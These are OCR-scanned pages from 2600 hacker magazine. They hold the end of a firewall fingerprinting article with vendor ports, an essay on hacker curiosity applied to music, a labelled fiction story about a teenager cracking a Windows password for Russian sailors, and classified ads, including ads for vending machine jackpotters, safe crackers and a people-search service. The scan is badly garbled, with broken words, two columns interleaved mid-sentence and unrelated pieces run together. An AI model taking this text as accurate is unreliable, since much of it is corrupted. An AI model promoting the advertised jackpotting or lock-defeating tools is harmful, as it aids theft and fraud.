ports w h i c h  can  a i d  i n  i dent ify i n g  t h e  fi rewa l l :  
The 5ymantec Enterpr i se F i rewa l l  l i stens on 
TCP ports 888 and  2456, and  the Check­
po i nt FW1 - N G  l i stens on TCP ports 256, 25 7, 
18181, and  18190. 

Ox03 Conclusion 
Th i s  a rt i c l e  i s  only a sma l l  i ntroduct ion 

to the fi ngerpr in t ing  of fi rewa l l s .  Th i s  top i c  is  
very wide and,  l i ke port sca n n i ng or exp lo i t i ng  
buffer overflows, very i m porta nt to  hackers. 

Special thanks to Mr P. Sobczak, Mrs 
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by D r. Zoltan 
d rzoltan@drzoltan.com 

thing else, the same way that they want their 
computer to function l ike a toaster or a car or 
other single-function appliance. Music just is not 
something they want to tinker with. 

The essence of hacking is exploration, led by And that is fine. Not everyone wants to be 
curiosity. It is about figuring out the ru les and a car mechanic; they just want to drive to work 
then bending those ru les to make something and leave the details to the mad scientists. 
new. Yet a sma l l  handfu l of us are the mad scien-

Hackers are people who are just not satis- tists who need to point the microscope at some 
fied with how a system seems to work from certain area of l ife. The hacker ethic of explo-
the outside. They find backdoors, flaws, and ration and cu riosity can be applied to music in 
secret passages which expand the capacities of very specific ways. Here are some exa mples. 
technology. They are a lways asking questions, The majority of the music heard on the 
pushing buttons to see what happens, stretching radio is an endless series of measu res (spaces of 
their understanding, taking things apart, and time) divided into two or four  parts. What about 
putting them back together. dividing them into five? Or seven? What wou ld 

In a similar way, many arbitrary ru les of that sound l ike! Fu rther, what if you leave out 
music can be broken. The fundamenta l act of some of those beats within the five or seven? 
doing something new with music is to ask the These have very distinct and striking sounds that 
question, "Which of these supposed limitations can become part of everyone's musica l  vocabu-
can I dispose of?" la ry. You can learn to recognize them just the 

What has drawn me towards the hacker same as a four-count measu re, and you can do 
community is their desire to brea k the l imita- some very fascinating things with them. There 
tions of a system. Yet in the field of music, I have are very few bands doing this sort of thing! 
found that even among the fringe composers, When progra mming music using sequencing 
there is an extreme fear of breaking those tradi- softwa re, why restrict you rself to the l imitations 
tiona l l imits. of a human performer? When you are watching a 

But why? At least in music, if you insert a sci-fi or fantasy movie l ike X-Men, you probably 
sou r or dissonant note, the rest of the compo- do not complain that rea l humans cou ld never do 
sition wil l remain intact. No big dea l .  This is that! With the help of computers, we can create 
not a l ways so with technology, as there can incredible performances and combine sounds in 
be serious malfunctions. A computer system ways that we previously cou ld not. Yet, everyone 
may cease to function if you remove any of its is sti l l  stuck with guitar, bass, dru ms, and vocals, 
parts. In an art so seemingly arbitrary, why are churning out the same old sounds. Again, very 
composers so preoccupied with reinforcing the few people bother to use computers to create 
status quo? No one is going to die, no one wil l  cha l lenging music. 
be inj ured, and no property wil l  be damaged if Did you know that a l most a l l  musica l  instru-
some ru les a re bent. ments are out of tune, due to equa l  tempera-

In the mainstream c u l ture of the United States, ment tuning? The harmonic overtones that occur  
music is  viewed with an anti-intel lectua l  preju- in nature do not line up with a strict ru ler of 
dice. Yet it is not only an art; it is a l so a science. measurement that equa l l y  divides them into 
The majority view music as an intuitively  magic twelve divisions, which is how we have been 
pil l that makes them feel better on command. dividing them since the time of Bach. Ou r entire 
They avoid learning its rich vocabu lary in the vocabu lary of consonance and dissonance was 
same way that a Luddite refuses to l earn how created by arbitrary ru les based on this system. 
a circuit board works. Just as with electronics, Yet we have the ability to program computers 
there is a science behind the art of music. You to break that barrier and arrange j ust-tempered 
don't just throw electronic components together harmonies that few people have experienced. 
at random with no rhyme or reason and expect What the world needs is more people  
them to work, so why apply this bl ind method to applying the hacker mentality to music, because 
music? Because consumers j ust want music on j ust as there is more to a computer than porn, 
in the background while they are doing some- there is more to music than banging on a guitar. 
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By Peter Wrenshal l  with no questions asked. I wondered why this 
time was different. "We ought to be making an 

I am not a hacker, but I thought you might example of him," continued Roper. If he had 
be interested in hearing about the first time I got his way, I think he really would have called the 
paid-kind of-for cracking the password on a cops, which would have been doubly bad news 
Microsoft Windows box. for me. At the time, I had just started running my 

I was 1 5  at the time, and I was on "proba- own computer repair business; and I figured that 
tion" after being accused of hacking my school's I even if I charged £50 per job plus parts, I 'd still 
computer. Our IT teacher, Roper, had noticed undercut the local shops and get tons of work. 
that someone had changed the computer's With plenty of money to be made, the last thing I 
Internet proxy server address, and because I needed was a reputation as a cracker. People just 
was the last person to use that machine, I was don't trust them with their personal computers. 
his prime suspect. He had no evidence that it "Might I remind you," said Fenning, looking 
was me, but that didn't stop him from ha uling a bit irritated at the interruption, "that you have 
me to the headmaster 's  office, where they both no direct evidence that he was involved?" It was 
grilled me. my turn to smile, but I restrained it. Although we 

"You might as well tell us," threatened Head- all knew that I had done it, we all also knew that 
master Fenning, leaning back in his leather chair, Roper had no proof. Or perhaps it was more than 
"rather than tell the police. Did you hack into that. I got the idea that there was some bad blood 
that machine?" between Fenning and Roper, some sort of school 

"No, sir," I said, innocently. " I t  wasn't me." politics. But if Fenning was using me as political 
Well, I hadn' t  hacked into it, as such. I had leverage, that was fine by me. 
used a program to guess the password, which is "He was the last person to use that machine. 
different. He knows computers," whined Roper. As if that 

"Because if I find out that any pupil in this were evidence. 
school has been engaging in hacking," Fenning "Perhaps there is another solution," suggested 
continued, "I will suspend him and revoke all Fenning patiently. " How would you feel about 
computer privileges . . .  " offloading a few of your duties to some of the 

"Yes, sir." more advanced students? I t  may be that the chal-
" . . .  and, depending on the circumstances, I lenge of looking after the computers creates 

may call in the police. They take computer crime within them a sense of responsibility." 
very seriously these days." Roper frowned. His confusion was evident. 

I saw Roper do something he rarely did: he Was Fenning really suggesting that students get 
smiled. It wasn't the proxy hack that bugged more access to the network, instead of less? 
him; it was the idea that, in order to change the "As with the Prefect system . . .  " began Fenning, 
proxy, I first would have had to obtain the admin- but Roper butted in. "Isn't that a bit like putting 
istrator's password. And that meant that not only the fox in charge of the henhouse?" 
could I change the proxy to surf unrestricted, but He had interrupted once too often, and 
I also could do anything else I wanted: change Fenning had lost his patience. He played his 
the school ' s  dreary logo, install games, or infect ace. "It is clear to me that the problems you are 
the whole network of computers with viruses. experiencing are because the brighter pupils 

But Roper's victory was short-lived. Fenning are not inspired by your syllabus. Perhaps your 
continued. "This time, I am going to have to give approach to teaching computing needs to be 
you the benefit of the doubt. . ."  more challenging ... " 

He didn't even finish his sentence before Roper blinked. He looked a bit shocked. He 
Roper almost exploded. "Benefit of the doubt ! "  tried to  defend himself, claiming that his depart-
he raged. I saw his face turn red as his blood ment lacked funding; but I didn't buy that, and 
pressure climbed. I was surprised myself. I 'd neither did Fenning. The argument was over. 
already been in Fenning' s office that year for "And as far as I can see," concluded Fenning, 
playing pitch-and-toss and, on that occasion, I 'd "you have no actual evidence of his involve-
been tried and sentenced in about 3 0  seconds, ment in any computer hacking activities. I now 
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consider the matter closed." foreign words at the woman, who surprised 
He stopped leaning on his chair, and sat up me by firing right back with just as much force. 

straight. The battle was over. It wasn't hard to Then the other man joined in briefly. I caught 
guess who would win, anyway. Unlike Roper, the words "da" and "nyet," and I knew that they 
who wouldn't have looked out of place behind were Russians, though as fa r as I knew there 
a library desk, Fenning always dressed like he weren't any Russians in that part of town. I took 
was CEO of High School, Inc. In a battle of a look at them. 
wits between him and Roper, I 'd have stuck my Despite the hot weather, the bigger of the two 
money on him, based on the suit and tie alone. was wearing a black leather jacket, which bulged 

Roper's shoulders drooped visibly. Fenning under his arms and hips, the holster areas. The 
gave me a couple more lines about how I was on smaller guy was wearing jeans and a jacket that 
probation and how I should stay out of trouble, would have been fashionable about the time 
and then ejected me from his office. Later that Dr. Strangelove was pulling in the crowds. The 
day, I saw Roper in the corridor and got a nasty woman looked like one of those Russian tennis 
stare, but I su rvived players, but without the brand names. 

Now, this is the bit that's hard to believe. "They want you fix computer. They pay 
Actually, I 'm not totally su re it really happened. hundred pounds," she tried again. 
It was about three weeks later, a Friday, and I "Undrid quids. Yis?" said the guy in the jacket. 
had almost totally forgotten the incident. I was He rubbed his forefingers and thu mb together in 
walking home from school and had just come the international gesture of money grubbing. I 
out of a shop. When I was about to cross the must have been staring, because the woman 
road, a woman walked right in front of me. said, "Is ten minutes job." 

"Hello," she said with a thick accent. In that "Shop - fix computer - down road," I said, 
rough part of town, people got used to being helpfully leaving out the words that might get 
stopped by street vendors trying to sell them lost in translation. I couldn't believe that I was 
knocked-off Rolex watches, fake prescription advertising my business competition, but this 
medications, or other sorts of black-market job sounded like one to pass on. The guy in the 
goods. I had developed a technique for avoiding sunglasses took out bunch of banknotes, and 
them. I said hello to the woman, without really showed them to me. 
making eye contact, and then dodged around "Shop closed," said the woman. "You please 
her. But  this time the traffic lights were against help. Ten minutes." 
me, and I had nowhere to go. I stood at the curb, Yeah, I thought. But  what kind of job? My 
waiting. imagination broke loose thinking about some 

"You want earn hundred pounds, no?" asked crime lord whose laptop had a broken hard disk, 
the women. The sides of her mouth curled up some underworld guy who treated his computer 
like someone who was out of practice smiling. like he treated the hired help, and had lost his 
As I say, in that rough part of town, people got database of clientele and, with it his livelihood. 
used to the street hawkers embracing capitalism A Russian bear with a sore head. 
a bit too enthusiastically; but as far as I could tell What also got my imagination revving was 
I was being offered a job, and that was a new the question of how these Russians had gotten 
one on me. this idea about my computer repair skills. I t  

"Sorry," I said, politely, because her business was the early days for my business, and I hadn't 
associates were su re to be nearby, "you have me done any advertising. I was counting on word of 
mixed up with someone else." I knew about the mouth to get started. 
Polish, Armenian, and Croatian communities, I tried to put them off. "What broke on 
about how they had come to work in the city. computer?" I asked, and got a blank stare. There 
I also had heard a few ru mors about how they was a bit of a lull in the conversation, during 
settled some of their disputes . I didn't want to get which time a guy I recognized and his girlfriend 
in the middle of one. walked past, determinedly minding their own 

As this was happening, I noticed the doors business and not looking at us. 
of an ancient brown Ford open, and two men "Is easy money for clever guy," said tennis 
got out. The previous month a guy had pulled girl, prompting again me with her moribund 
up in a van and offered to sell me a "real-deal" smile. She was athletic and definitely easy on the 
Armani suit (me, in a suit; su re), and I had gotten eyes, and under different circumstances, I 'd have 
rid of him by telling him that I couldn't  talk to fixed her computer for free or traded her for a 
him because my "friends" (the local rugby team, couple of tennis lessons. 
maybe) were waiting for me. I tried the same Because she apparently wouldn't take "no" 
line on the woman, and went to walk back the for an answer, I decided that the easiest way to get 
way I had come, but she just moved into my way rid of her friends would be to take a quick look 
again. She gave me a blank stare and held her at their broken computer, say "Niet, is kaput. You 
frosty smile, as we waited for the men to arrive. take to shop," and then see if she wanted to grab 

The biggest of the men fired off a string of a burger in the interest of international relations. 
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"Ten minutes?" I asked her. 
"Yes. Ten minutes." 
"Okay." 
I got into the car with Comrade jacket and 

Comrade Sunglasses, and as the door slammed 
shut I watched the woman walk away. I was 
going to open my mouth to ask what happened 
to the gi rl, but nobody was looking at me, and 
we were already moving. 

I sat qu ietly and watched the bu ildings go 
past. For some reason, the tune to the TV detec­
tive comedy "Get Smart" was playing in my 
head, and wouldn ' t  stop. The only words the 
men sa id were in Russian, and the only Russian 
I knew came from reading Ivan Deni sovich. The 
words gulag, zeks, and Siber ia did seem all too 
appropr iate to the s i tuation. 

I kept wonder ing how they had gotten the 
idea that I went around fixing computers. I 
mean, I wasn' t  that nerdish- Iook ing. Had some­
body sa id  something to them to put them onto 
me? I didn ' t  know any Russians; they, however, 
obv iously knew me. I had read that the KG B., or 
the K-G-used-to-B, sti ll had an active network of 
sleeper agents around the world. The newspaper 
headlines I had been imagining changed from 
"Teen boy involved into cri minal underworld" to 
"Teen boy involved in espionage." 

It was over 20 minutes later when the dr iver 
finally pa rked the car. At my current rate of £ 1 00 
per 1 0  minutes, I had already earned £2 00, but 
at the time I was more concerned with what we 
were doing at the docks. 

We got out of the car and jacket led the way 
up a gangplank onto a ship that was about the 

any strange noises. I could see the logon box. I 
went over to i t, followed by the Russians, and 
the last of my opt imism vanished when I saw that 
the text on the screen was in Russian. So was the 
keyboard. 

I shrugged. "It's in Russian." jacket nodded, 
and wa i ted. I spoke slowly. 

"Me change computer to English, after you 
log on." 

jacket nodded. I tr ied one last ti me. 
"You log on." 
jacket nodded aga in. I wa i ted for someone 

to say or do something sensible. After all, if I 
couldn ' t  log on, I couldn't even begin to f ind 
out what was wrong. We stood looking at each 
other. Another three men came into the room 
and joined the audience. There was a steady 
engine noise, but nobody was say ing anything. 
It felt l ike one of those standoffs you used to read 
about, with the Russi ans postu r ing and the West 
postu r ing, and only the newspapers winning. 

But as I looked around the room, I noticed 
that Sunglasses was sweating. He was looking 
l ike he was about to be sent to Siber ia for a year. 
And then it hit  me. How slow I had been! They 
couldn't log on because they were locked out! 
That was what needed fixing. Sunglasses had 
forgotten the password. It was as simple as that. 
They weren' t  go ing to ma ke me break into the 
Pentagon, eat f ish eggs, or denounce capitalism; 
they had simply forgotten thei r password. I guess 
it happens to the best of us. It happened to my 
English teacher, Mrs. Moran, about twice each 
week. 

same size as a big trawler but didn't have any As I sa id, I am not a hacker. Apart from that 
f ishing nets. My grandfather had worked on one machine at school, my hacking experi -
ships, and as a k id I had always l i ked the idea ence was l im i ted to mult iple v iewings of the 
of going to sea, but this was not what I had in film WarGames. Although I 'd had thoughts 
mind. about Ally Sheedy, j ogging over to my house 

We went inside, down a metal ladder, and to start World War I I I , that was about as far as 
along a corr idor. The whole ship looked l ike I had progressed. But I was confident that thi s  
looked l ike i t  had spent some t ime collecting di rt j ob would be stra i ghtforward. I carr ied on me a 
on the bottom of the ocean, only to be re-floated, bootable memory stick with the requ i red soft-
dr ied off a bit, and put it back into serv ice, a ware. All I had to do was to boot off it and run 
float ing testament to Sov iet eff ic iency. the SAM cracker. I plugged my memory stick into 

We went into a room, and found a guy who the Russian's computer. 
sat at a desk. He tu rned around to look at us. He just then, something jabbed my conscience. 
pointed at the computer and sa id something in What i f  this computer didn't belong to the 
Russian. From the way he sa id  i t, and from the Russians? What if they had stolen i t? What if they 
look on the other guys' faces, there was no doubt had li fted this  PC from some local government 
that this  was the boss man. office? For all I knew, these people sti ll thought 

jacket pointed at me, replied respectfully, the Cold War was on. This  potenti ally could go 
and then they all stood around looking at me. way beyond annoy ing Roper. 
After a minute jacket gestured, and I followed his I stood there with my audience watching me, 
finger to a gray ish metal box that was s i tt ing on wondering what to do. I could think of a dozen 
the desk behind me. It was coated with the same agenc ies and organizations that would be very 
grime that clung to the rest of the ship, and the concerned about a k id helping Russians break 
text on the screen was barely vis ible. into a computer. There were fanatics out there 

jacket pointed at the screen aga in, but I who would use phrases such as "colluding with 
didn't get i t .  What did they want me to f ix? The the enemy." I might even end up in Guantanamo 
computer was working fine, and it wasn't making Bay, and orange ju mpsu i ts and ser ial  nu mbers 
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were just not my style. 
On the other hand, at the time I had been 

learning to program computers, and as a side­
effect I 'd gotten into the bad habit of thinking for 
myself. I just couldn't see what helping someone 
else ever beld to do witb pol itics. 

In the end, the look on Sunglasses's face did it. 
I could see that this wasn't even the K-G-wanna­
B. This was a bunch of sdilors. 

"You forgot password?" I said. l,lCket nodded 
again, but  I knew he hadn't understood me. I 
booted from my memory sti ck, and when the 
pengu in bad gone away, I ran the password 
cracker. That was it. I was a bit surprised to f ind 
that the Cyr i ll ic  keyboard had fa mil i �l r  numbers, 
one to nine, so I used those. I typed the password, 
and shmvpd Sunglasses and I ,leket : 1 2 34 5 6. They 
nodded, and I pressed return and s,lid "Okay." 
EVf�rybody underslands Okdy. 

I rebooted to Wi ndows, a nd logged on. I 
stood dsicle to lei Sunglasses al Ihe m,1 ("hine, ,1nd 
he opened d sJlwadshe<'l ,md thpn pointed at 
it. Thl' Russians peered at the screen, and their 
relief W,lS p'llpable. lacket gave the good news 
to the boss, who, in his turn, gave Sunglassps 
a furious blast of Russi,1 Il, which didn' t need 
translating: lose the password again, dnd you ' ll 
be swimming horne. The boss disappe,1red, and 
Sunglasses smil('( L  lacket la ughed and slapped 
him on his hack, and then they both turned to 
me. 

What next!,  I wondered. Drop the witness 
overboard? Arrange an accident at sea? I heard a 
clink, and then watcbed as glasses werp passed 
around. 

"Cheers," said Sunglasses in his English. 
Jacket handed me a grubby glass almost full of 
clear liquid. 

"That ' s okay," I said, but it wasn't one of those 
offers I could decline. They all stood waiting for 
me to drink. I shrugged, and lifted my glass. 

"Perestroika," I said, which got a round of 
laughs. The glasses went up, and then banged 
down on the desk. I poured my drink down 
my neck, and then lit up and started coughing, 
which brought on anotber round of laughs. 

One problem with vodka is that they make 
it clear; as a result, Russian sailors mistake it 
for water. We downed another quick drink, and 
then Sunglasses said a few words in his fractured 
English, the upshot of which was that they were 
offering to take me horne in the Fordmobile. 

Tbe rest of the night was a bit of a blur. We 
stopped at what looked like a cafe, but which 
served about a hundred types of vodka. We 
ate something a bit like beef soup, only it was 
called borscht. And there was something else 
that looked like cabbage and black bread, which 
I normally wouldn' t have touched in a mil lion 
years, but it tasted very good. 

After that we went to some club or pub, which 
was dark and smoky, and which heaved with 

the Friday night crowd, all speaking Russian. I 
began to wonder how I had never noticed them 
before. 

When we carne out, it was dark. I got into the 
back of the Ford, and as I watched the streetlights 
float past, I promised myself that I 'd get out more 
and take regular breaks, instead of sitting in front 
of a computpr all the ti me. They dropped me off 
in front of my house, I got back-slapped one last 
time, ,1nd they said something like "You corne 
vis i t  Moscow." I said I would, ,1nd then thpy left. 

For most of tbe next day I went around in bi t  
of a daze, and I couldn't shrug off the feeling th,lt 
I 'd somehow spent til<' prev ious night in an alter­
nat iVE' dimension. The pounding headache from 
the vodb didn' t  help. 

I neVE'r did get thdt hundred quirl . I checked 
my pockets clnd found what appeared to be a 
gc'nuine Cuban c igar, which I suppose W,l S  what 
I had been pa id for my first profession')l hack, 
along with the bonus of a few blulTl'd memor ips 
of hu mming along to a tune th,lt could have bppn 
the Russian nat ional ,lnth('m ,  for ali i knew. 

I thougbt about  going b,H k d()vvn tn docks to 
sec i f  the ship st i ll tbere, hut  in the md I didn' t. 
After a f,l i lpd attempt to gpt borscbl on the school 
menu, I forgot all about th,lt strange Friday night. 
I reapplied myself to my computer repair busi­
ness, and that kept mE' out of trouble. 

But sometimes during qu iet dfternoons in the 
computer room, with Roper droning on about 
spreadsheets and with the Iwt-nanny protecting 
me from my bad Intprnct habits, my mind would 
wander, and I would find myself thinking about 
my Russi an fri ends. I would idly wonder who 
put them onto m('. And th('n I would tbink about 
Fenning. Apart from Roper, he was the only other 
person who knew about my cracking the school ' s 
admin password. It was a funny thought, this 
stuffy headmaster working for the Russians . . .  

I passed him in  the corridor one day, and he 
said something about how nice it was to see that 
my grades had improved, now that I was finally 
settl ing down to some work. 

"Oa," I replied. He didn't  blink; he just 
kept walking. Would anybody believe my story 
about a Russian spy, J sleeper agent, cunningly 
disguised as a schooltpdchf'r in a small school? 
For awhile I thought about ringing MIS ,  to talk to 
them about Fenning. 

But in the end, I gave him the benefit of the 
doubt. 

Have an interesting fictional story 

concerning hacking that you'd like to 

test out on our readers? Send it on in 

to a.rocies@2600.com. Please te!! us 

it's fiction so we don't inadvertently 

spread a. pack of lies. 
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Happenings 

PH REAKN IC 1 2 . Nashv i l l e  2 600 is once agc1 i ll proud to prest'nt 
P h rea k N I C  1 2 , fwl d  every yt'Jr in N a s h v i l le,  TN. 'vV(' arc holrl i n g  
t h i s  \('chno logy conference i n  the same IU(<I t iun as the P,lSt 5 Yf';]fS, 
the Days Inn elt the Stddi u rn  on October 2 4th-26th,  2 008. Vis i t  
http ://ph wa kn i ( . i nfo for the latest i n formation, i n c l u d i n g  hotel 
booking i n form,·lt iol l  a n d  prl.'-rt'gi'>trdt ion.  Cal l  ( G I S )  2 5 4 · 1 5 5 1  and 
mcnti oll " P h red k N I C' for  the spec i a l  rate of $ 67/n ight .  
25C3 . NOTH I N G  TO H I D E  is  the 21)th C h dOS Com m u n ica­
t ion Congress to fw held n('c('mber 2 7t h  to ] Oth,  2 0013 i n  Berl i n ,  
Gpnn,lny at the R e r l i n e r  Congrcs<; C('nter at Alexanderpl.ltz. rhe 
2 ')\"J conf('rpnc(' program w i l l  be d i v id('d i nto six genpra l cdtego­
r ifs hacki ng, maki ng, sci('nc(', soci ety, c u l t u re, and com m u n i ty. 
LJ pd<ltes w i l l lw posted at http ://('V('nts.ccc.d('/congress/200a/ 
HACKI N G  AT RANDOM (HAR) is  the Olltdoor hack ing event of 
2 009, to be held in August in or arounn The Nctherl ,l llds .  Check 
http://hi.lr2009.org frequently for u pdates or to gd i nvolved. 
THE N EXT HOPE. Summer 2 0 1 0, Hotel Penn<'ylvanid,  New York 
C i ty. http://www.thf'llC'xthopc.org 

For Sale 

SECURITY SYSTEM FOR SALE, under $ 1 00 dnd no monthly 
ices. I ,1 m sel l i ng '>cc Li r i ty  ,>ystems to protE'ct your computE'r or 
personal  SPeW£, such .IS a dorm itory or apartrnent, etc. T h i s  covert 
;1 larm <,ystcm c a l l s  your c e l l  phorw on detect ion of i ntrusion, then 
, 1 1 low i n g  you to USf' your cel l  phone to he.1T the i ntruder". act i v i ­
t i ('<; t h rough a <;olJlld ;l nlp l i fien m icrophone on the u n i t .  T h i s  a l a rm 
system is  d i <,gll i <;cri as an ord i n ;1 ry house phone dnd is  a l so d 
work i n g  pholw1 (Creal for officc's.) Bcst secur i ty system money can 
g('t  for undf'T $1 DO ,1 nd n() mont h l y  fees.  ( ) rder now f()r $7'1 only .It 
www.C NC- n i st r i b u l i o n . com/C NC 
MAC SPYWARE- ant i -spyw;Jre for the Mac OS X,  ddf'cb, isolate,>, 
<l nt! removes '>pywdre dnd over gOOO track i n g  cookies.  Th i rty day 
fn'(' triill http ://rn,l( s( d l l . ,>ec u Temdc.com/ H e l p  u<; promote 
MacScilll ,  rt'ceivl' a frct' I. O py, and sWdg · ma( <;('c(i:ils('c u rf'ma c . com 
for ddi.l i k  
J EA H . N ET U N I X  SHE LLS & HOSTING: W p  <; upport 1600, b('( ,lll<;(' 
WE' rt',ld too! l EAl  1 cont i n u ('<, to he tn for bst, stahle, and secu re' 
U N I X  s h e l l  dccounts with  h u ndreds of I Re v host dorn(l i n s  ,1nrl 
,l( (,('<'S to .1 1 1  s h e l l  progra ms dnd com p i l er::.. I EAH . N FT <l lso fpalurE"'i 
rock-<;o l i d  U N I X  web hosting dnd 260() rhldefs' setup feE'S (lrE' 
;l l w;1YS w,liV('d. Oh,  and elon't forget our pr ivate dom J i n  namp 
regi stration at F Y N E .COM. 
CRACKER F R I E N D LY G LASS TOBACCO PI PES, water p i pes, 
chambpr p i l)f'S, and accessor ies.  L i q u i dat ion sel le !  For t hos(' p u l l i ng 
a l l ·· n i ghtE'rs who n('('d he lp  focus i ng. Free s h i pp i ng for orders 
OVE'r $30. E m a i l  k u r l i e 1 9B4S (!:llyahoo.com for pics dnd questions.  
Must bE' 1 8 ! 
TV·B-GONE. Tu rn off TVs in p u b l i (  p l aces!  A i rports, rest,lU rants, 
hars, anywhf're there's a TV. Now aVel i l el b l e  a s  an open source kit ,  
d S  wel l  a s  tht, sll lwr-poplJ iar  origi na l  kcyc h ,l i n .  The k i t  turns off TVs 
at 40 yard s !  And now, for profess ional<; ,  the TV-H-Cone Pro turns off 
TVs u p  to 1 00 yards dway ! 2600 re,lders gel 1 (n;, el i scnunt on TV- B ­
Cone keyc h d i n s  - use Coupon Code: 2 600. www.TVRCone.com 
J ! N X· HACKER CLOT H I N G/GEAR. Ti red of being naked? 
J I N X . com ha::. ·� ()O+ T's,  sweats h i rts, st ickers,  ami h ats for those 
r;lf{' t i mps th;1t you ne('d to Ipavl' your house.  We've got swag 
for everyone, from the budding nOOblet to the v i ntage geek. 

parents, Imt lov('s, peopl t'  that owe them money, <1 nd j ust p!Jin old 
snooping a rou nd.  Vi<;it u<;  today at www.netdetective.org . u k .  
NETWORKING A N D  SECURITY PRODUCTS ava i lab le  at 
OV(ltionTechnology.com. We're a s u p p l i er of Network Security and 
I nh.�rnet Privacy products.  Our  o n l i n e  SIOH' featu res VPN and fi re­
wa l l  hd rdwdTe, wi rples!'. hardware, cable and DSL modems/routers, 
IP ,K ef'SS devi ces, Vol P  products, parenta l control products, a n d  
etlwrnet switchf's.  W t.'  p r i d E'  ourselves on prov i d i n g  the h i ghest level 
of tec h n i c a l  expertise and c ustomer satisfact ion.  Our  comm itment 
to YOll  . . .  N o  surpr ise',> ! Buy with rOllfidence! Secur ity and Privacy i s  
our  bus i ness!  V i s i t  us  at http ://www.OvationTechnology.com/<;tor(.. 
htm 
REAL WORLD HACKI NG: I n t('re<;ted i n  rooftops, '>team tunnels, 
dne! the l i ke?  Redd the (I l l -new Access All Areas, d g u idebook to the 
;l(t of urban explordt ion, from the author of Infiltration z ine .  Send 
$ 2 0  postpi.l i d  i n  tlw U S  or Canada, or $ 2 S  overseas, to PO Box 
1 J ,  Stat ion E,  Toronto, ON M6H 4 E 1 , Canada, or order o n l i n ('  at 
www. i nfi ltration .org. 
FREEDOM DOWNTIME ON DVD! YCclT'> i n  the making but we 
hope it was worth the wait .  A douhle nvn set that i n c l ude,> the two 
hour no("umentdrY, dn i n-depth i nterv iew with  Kev i n  Mitn ick,  and 
ncarly t h rel..' hours of extrd s("pn('s, lost  foot;]ge, a n rl  misce l la neous 
stuff. Plus caption i n g  for 2 0  (that's r ight,  20) l anguages, com m('n­
t,lTy track, and a lot of t h i ngs you' l l  j ust have to find for yourself! 
The ent i rE' two disc <;et can be han by send i n g  $ :3 0  to Freedom 
Downt ime DVD, PO Box 7 5 2 ,  M i d d l E'  1 <; l a nd, N Y  1 1 9S .1  U SA or 
by ordering from our  o n l i n e  stoTe .lt http://store .2 600.com. (VHS 
copies of the fi l m  sti l l  aV<l i l a b l l'  for $ 1 5 . )  

Help Wanted 

COLLABORATE WITH US. We're des i g n i n g  (l new Oj1<'Il­
source ga m i n g  <.,ystcm.  I n c l u d i n g  open contro l J er ha rdware and 
PC-con ncctl'd console. Contribute to systPIll design, h,lf(lw'·l["(, 
d(,s ign, L1yout, protocols,  software, firmware, dO( Ullwntation, 
mec h a n i c a l  dt's ign,  <1m:! more. httpllpowerxy.wik i -s i te.com 
I NEED SPY RELATED ACTIVITIES, game<;, t ips,  projects, experi­
ments, etc . for k ids  aged b- 1 5 . Rf'a l l y  anyt h i n g  h(lving to do with 
spyi ng, ('<;p ion;·lgc', ,md covert operat ion::..  Did you spy when you 
WPr(, ,1 kid? Tel l nl(' about your ;lCt i v i t i ('s ,me! storips.  P lf'<lsf' cont,Kt 
me at th(' fo l low i n g  e m a i l  dddrt.ss: chetdonllE. l l y 1 970(iPgm a i l .com 
RENEGADE BLACK SHEEP TECH ENTREPRE N E U R  i n  proce" of 
putt ing flesh on the bom's of ,1 n encrypted voice com m u n i catiom 
proj{'( t .  Do you h,lVE' experience in the deep deta i l s  of Vol P/S I P  
protocols,  network traffic analys is ,  h i l l i ng system construction, PtoP 
routi ng, _lnd so on? I ntc-rested i n  work i n g  with a top-end tparn to 
b u i l rl  ,1 world-che1 ng ing tool for  reg u l d T  fo l k::. around the wor ld  to 
use i n  thE' i r  everyday l ives? Contact me ,1t w r i n ko(q) h u s h m a i l .com. 

Wanted 

LOOKINC FOR 2600 READERS who wou l d  l i kp to offer the i r  
services for  h i rc .  Want  to m a ke money worki n g  from horne or on 
the road,  c a J i  (740) 544-6563 extension 1 0 . 
WANTED. Vprified/verif iable computer hackE'L W i l l  pay $ 7 1)  for 
i ntprvi('w to be usen for future p u b l i cat ion; e ither OIHhe-record or 
off-thp-record . Rp<;ponsp2 600 (at) Ydho().com. 

Services 
So t,l kp a fivp m i n ute break from surf ing prOn d n d  check out 
http ://www.J l N X .com. LJbcr-SeCfE.t-Spec i a l -Mega Promo: Use B LACK OF HAT BLOG. [-rel. programs thdt may h p l p you ach i(".vc 

" 2 600v2 S n o 3 "  dnd get 1 0°;;, off of your order. flLJest ionablP encb. Hacker I nfoTlTldt ion of i n terest i n c l u d i n g  
VEN D I N G  MAC H I N E  JACKPOTTERS. Go to ( ornmentary on 26()O arti c l ('<;. Visit http://h lack-of-hat .b logspot.com. 
www. hackershomf'pag(,.com for Ven d i ng & S l ot Machi nt' lackpot- S a m p l (' progra m s  recf'nt ly released Crawl, S i teScan, and 
ters, Safe Crackers, l ock P icks, Phone Devices & Controvers i a l  DeepSca n .  
H a c k i n g  P u b l i cat ions.  BEEN ARRESTED FOR A COMPUTER OR TECHNOLOGY RElATED 
NET DETECTIVE, Whether you'r(' j u<;t cur ious, trying to locate or CRIME? Hav{' an idecl, i nvent ion,  Of bus i ness you want to huy, <;e l l ,  
f i n d  out a b o u t  peopl e  f o r  persona l  or bus i ncs<; reasons, or you're protect, or mark<'t ( Wi<;h your attorney actu a l l y  u nderstood you when 
looki n g  for peop l e  you 've f,l l l('n out of touch with ,  Net Detective you spea k? ·l h e  L a w  Office of M i c h(l1.'1 B .  C; rccn, Esq. i s  the solut ion 
ma kes it a l l  poss i h l e !  Net Detective i s  used wor ldwide by private to your 2 1  st cPlltu ry Jpga l problems.  f Ornlf'f SysOp ,1nd m('mbf'r of 
i nvestigators dnd detectives, as wel l  as everyrlay pf'ople who uS(' it many private R R S's since 1 98 1  now ava i lab le  to d i rp( t ly  represent 
to find Imt relat ives, old h i g h  school and (lrmy buddies, ncadbcat you or br idge the comm u n i cations gap and assist your cu rrent lega l 

Page 62 --------------------2600 Magazine 



counse l _  rxtr('m(' ly dd,l i led knovvl edg(, rcg;l nl ing c r i m i n a l  dnd ( - iv i l  
l i 'lb i l ity for COl1lputf'r ,mel tec h n o l ogy r(' L lted ;)( t iotls ( I ll U Sc. 
I 02B,  l O� 9 f  1 010,  1 0.1 1 ,  1 1 ,l l ,  1 -1 4 2 ,  I qJ, l S I ] , 2 5 1 2 , rC VA, 
f)MCA, F )1.J6 relecum Act, de.) ,  dOnl<l i n  n,lmp d i'>P lIt('S, i ntel­
lectual  property maHer'> c,lIch ;:1<. ,  cOf1yright,>, trcldemdrb, l icenses 
